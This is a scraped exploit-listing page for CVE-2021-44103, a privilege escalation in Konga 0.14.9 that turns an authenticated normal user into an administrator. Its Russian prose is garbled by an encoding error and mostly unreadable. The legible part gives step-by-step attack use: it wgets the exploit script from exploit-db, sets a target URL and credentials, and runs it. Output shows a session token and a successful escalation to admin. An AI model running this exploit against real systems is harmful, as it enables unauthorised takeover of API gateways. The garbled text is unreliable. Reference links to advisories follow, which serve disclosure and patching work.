## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PAULOTRINDADEC-CVE-2021-44103
# CVE-2021-44103
ΠΠΎΠ½ΡΠ΅ΠΏΡ-ΡΠΊΡΠΏΠ»ΠΎΠΉΡ Π΄Π»Ρ KONGA 0.14.9 β ΠΏΠΎΠ²ΡΡΠ΅Π½ΠΈΠ΅ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ.
## ΠΠ²Π΅Π΄Π΅Π½ΠΈΠ΅
16 Π½ΠΎΡΠ±ΡΡ 2021 Π³ΠΎΠ΄Π° FabrΓcio SalomΓ£o ΠΈ Ρ ΠΎΠ±Π½Π°ΡΡΠΆΠΈΠ»ΠΈ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ Π² Konga API Gateways, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡΡΡΡ Π»ΡΠ±ΠΎΠΌΡ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΡΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠΌΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ ΡΡΠ°ΡΡ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠΎΠΌ.
## Π‘ΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ ΠΎΠ± ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ
ΠΡΠΎΠ΄ΡΠΊΡ: KONGA
ΠΠΎΠ΄Π΅Π»Ρ: 0.14.9
Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡ: ΠΏΠΎΠ²ΡΡΠ΅Π½ΠΈΠ΅ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ
ΠΠΎΠ·Π΄Π΅ΠΉΡΡΠ²ΠΈΠ΅: ΠΏΠΎΠ»Π½ΡΠΉ Π΄ΠΎΡΡΡΠΏ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ° (Π²Π΅ΡΡΠΈΠΊΠ°Π»ΡΠ½ΠΎΠ΅ ΠΏΠΎΠ²ΡΡΠ΅Π½ΠΈΠ΅ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ)
ΠΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΡ: ΡΡΠ΅Π±ΡΠ΅ΡΡΡ
ΠΠ²ΡΠΎΡ ΡΠΊΡΠΏΠ»ΠΎΠΉΡΠ°: Fabricio Salomao / Paulo Trindade
## PoC
ΠΠΈΠΆΠ΅ ΡΠΎΠ·Π΄Π°Π½ ΠΎΠ±ΡΡΠ½ΡΠΉ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ Ρ ΠΈΠΌΠ΅Π½Π΅ΠΌ "usernormal" Π±Π΅Π· ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ.


Π‘ ΠΏΠΎΠΌΠΎΡΡΡ ΠΏΡΠΈΠ²Π΅Π΄ΡΠ½Π½ΠΎΠ³ΠΎ Π½ΠΈΠΆΠ΅ Π·Π°ΠΏΡΠΎΡΠ° ΡΠ»Π°Π³ "FALSE" Π² ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠ΅ "admin" Π±ΡΠ» ΠΈΠ·ΠΌΠ΅Π½ΡΠ½ Π½Π° "TRUE".

ΠΠΎΡΡΠΎΠΌΡ Π΄Π»Ρ Π½Π°Ρ Π±ΡΠ» ΡΠΎΠ·Π΄Π°Π½ ΡΠΊΡΠΏΠ»ΠΎΠΉΡ: https://www.exploit-db.com/exploits/50521

ΠΠΎΡΠ»Π΅ Π·Π°ΠΏΡΡΠΊΠ° ΡΠΊΡΠΏΠ»ΠΎΠΉΡΠ° ΠΏΠΎΠ²ΡΡΠ΅Π½ΠΈΠ΅ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ ΠΏΡΠΎΡΠ»ΠΎ ΡΡΠΏΠ΅ΡΠ½ΠΎ!
Π Π΅Π·ΡΠ»ΡΡΠ°Ρ:

## ΠΠ°ΠΏΡΡΠΊ ΡΠΊΡΠΏΠ»ΠΎΠΉΡΠ°
root@kitploit:~
wget https://www.exploit-db.com/raw/50521 -O 50521.py
Edit 50521.py
Modify:
urlkonga = "http://www.example.com:1337/" # change to your konga address
identifier = "usernormalkonga" # change user
password = "changeme" # change password
Execute:
python 50521.py
[+] Attack
[+] Token eyJhbGciOiJIUzI1NiJ9.MTA.JFmJ0Vd3z5oeOTokSL0qfPZSOJmnZKEjZVzCJs_AM-U
[+] Change Normal User to Admin
[+] Success
## Π‘ΡΡΠ»ΠΊΠΈ
http://n0hat.blogspot.com/2021/11/konga-0149-privilege-escalation-exploit.html
https://www.exploit-db.com/exploits/50521
https://vulners.com/cve/CVE-2021-44103
https://github.com/advisories/GHSA-f2mp-8fgg-7465
https://security.snyk.io/vuln/SNYK-JS-KONGA-2434821
https://twitter.com/CVEnew/status/1508455166885961732
https://twitter.com/search?q=CVE-2021-44103&src=typed_query